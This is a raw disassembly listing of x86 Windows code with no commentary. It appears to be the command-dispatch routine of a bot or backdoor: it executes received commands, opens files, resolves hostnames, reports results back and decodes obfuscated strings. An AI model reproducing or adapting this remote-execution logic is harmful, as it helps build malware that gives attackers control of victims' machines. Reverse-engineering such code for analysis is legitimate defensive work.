		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		nop
		call	near ptr 27F043Fh
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_449896
		test	al, al
		jz	short loc_404F30
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
